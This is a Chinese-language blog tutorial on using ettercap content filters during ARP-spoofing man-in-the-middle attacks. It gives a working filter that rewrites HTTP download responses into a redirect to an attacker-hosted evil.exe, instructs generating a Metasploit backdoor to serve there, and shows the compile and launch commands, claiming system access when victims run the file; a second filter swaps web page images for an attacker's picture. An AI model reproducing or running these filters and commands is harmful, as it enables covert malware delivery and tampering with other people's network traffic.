强大的嗅探工具ettercap使用教程

  ettercap是LINUX下一个强大的欺骗工具,当然WINDOWS也能用,你能够用飞一般的速度创建和发送伪造的包.让你发送从网络适配 器到应用软件各种级别的包.绑定监听数据到一个本地端口:从一个客户端连接到这个端口并且能够为不知道的协议解码或者把数据插进去(只有在arp为基础模 式里才能用

  下面我们来说说咋吧数据插进去

  首先你得有自己个规则,默认的ETTERCAP自带了几个

  brk@Dis9Team:/usr/share/ettercap$ ls

  ettercap.png  etterfilter.cnt        etterfilter.tbl   etter.mime

  etter.dns     etter.filter.examples  etter.finger.mac  etter.services

  etter.fields  etter.filter.kill      etter.finger.os   etter.ssl.crt

  etter.filter  etter.filter.ssh       etterlog.dtd

  brk@Dis9Team:/usr/share/ettercap$在入侵过程种,这些达不到我们想要的,来看这个规则

  # replace rmccurdy with your website # replace the url with what ever exe you like if (ip.proto == TCP && tcp.dst == 80) { if (search(DATA.data, "Accept-Encoding")) { replace("Accept-Encoding", "Accept-Rubbish!"); # note: replacement string is same length as original string msg("zapped Accept-Encoding!n"); } } if (ip.proto == TCP && tcp.src == 80) { replace("keep-alive", "close" ");

  replace("Keep-Alive", "close" "); } if (ip.proto == TCP && search(DATA.data, ": application") ){ # enable for logging log(DECODED.data, "/tmp/log.log"); msg("found EXEn"); # "Win32" is the first part of the exe example: # if the EXE started with "this program must be run in MSDOS mode" you could search for MSDOS etc .. if (search(DATA.data, "Win32")) { msg("doing nothingn"); } else { replace("200 OK", "301 Moved Permanently

  Location: http://fuzzexp.org/evil.exe

  "); msg("redirect successn"); } }他吧80端口请求的数据application(也就是附件) 301重定向成了他自己的EXE程序,这个EXE必须是Win32程序,也就是命令行的。

  下面来尝试一下,用MSF生成个TCP后门,再把 Location: http://fuzzexp.org/evil.exe 改成自己的地址

  用etterfilter吧规则文件编译成ettercap能读懂的文件,进行欺骗

  brk@Dis9Team:/$ etterfilter exe.filter -o exe.ef

  brk@Dis9Team:/$ sudo ettercap -T -q -i vboxnet0 -F exe.ef -M ARP // // -P autoadd

  模式必须是ARP的,当这个网段的某机子下载某WIN程序的时候,神奇的东西出现了

  程序已经被替换成了我们的后门

  当他点击运行的时候,我们获得了他的系统权限

  如果你是一个喜欢恶作剧的人,你还可以看看这个脚本 他吧80端口请求的图片替换成了本地的

  http://www.irongeek.com/i.php?page=security/ettercapfilter

  if (ip.proto == TCP && tcp.dst == 80) { if (search(DATA.data, "Accept-Encoding")) { replace("Accept-Encoding", "Accept-Rubbish!"); # note: replacement string is same length as original string msg("zapped Accept-Encoding!n"); } } if (ip.proto == TCP && tcp.src == 80) { replace("img src=", "img src="http://192.1.1.200/helenda.jpeg" "); replace("IMG SRC=", "img src="http://192.1.1.200/helenda.jpeg" "); msg("Filter Ran.n"); }编译运行试试

  root@Dis9Team:/tmp# etterfilter 1 -o pic.ef

  etterfilter NG-0.7.3 copyright 2001-2004 ALoR & NaGA

  12 protocol tables loaded:

  DECODED DATA udp tcp gre icmp ip arp wifi fddi tr eth

  11 constants loaded:

  VRRP OSPF GRE UDP TCP ICMP6 ICMP PPTP PPPoE IP ARP

  Parsing source file '1'  done.

  Unfolding the meta-tree  done.

  Converting labels to real offsets  done.

  Writing output to 'pic.ef'  done.

  -> Script encoded into 16 instructions.

  root@Dis9Team:/tmp# ettercap -T -q -i vboxnet0 -F pic.ef -M ARP // // -P autoadd  ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA Content filters loaded from pic.ef… Listening on vboxnet0… (Ethernet) vboxnet0 -> 0A:00:27:00:00:00 192.1.1.200 255.255.255.0运行没出粗 这样别人访问的网页图片全部都是你设置的了 网卡的原因我只能本地测试啦

  这是正常的 别人访问后

 

上一篇:安卓防火墙 PS DroidWall

下一篇:openvas 详细部署安装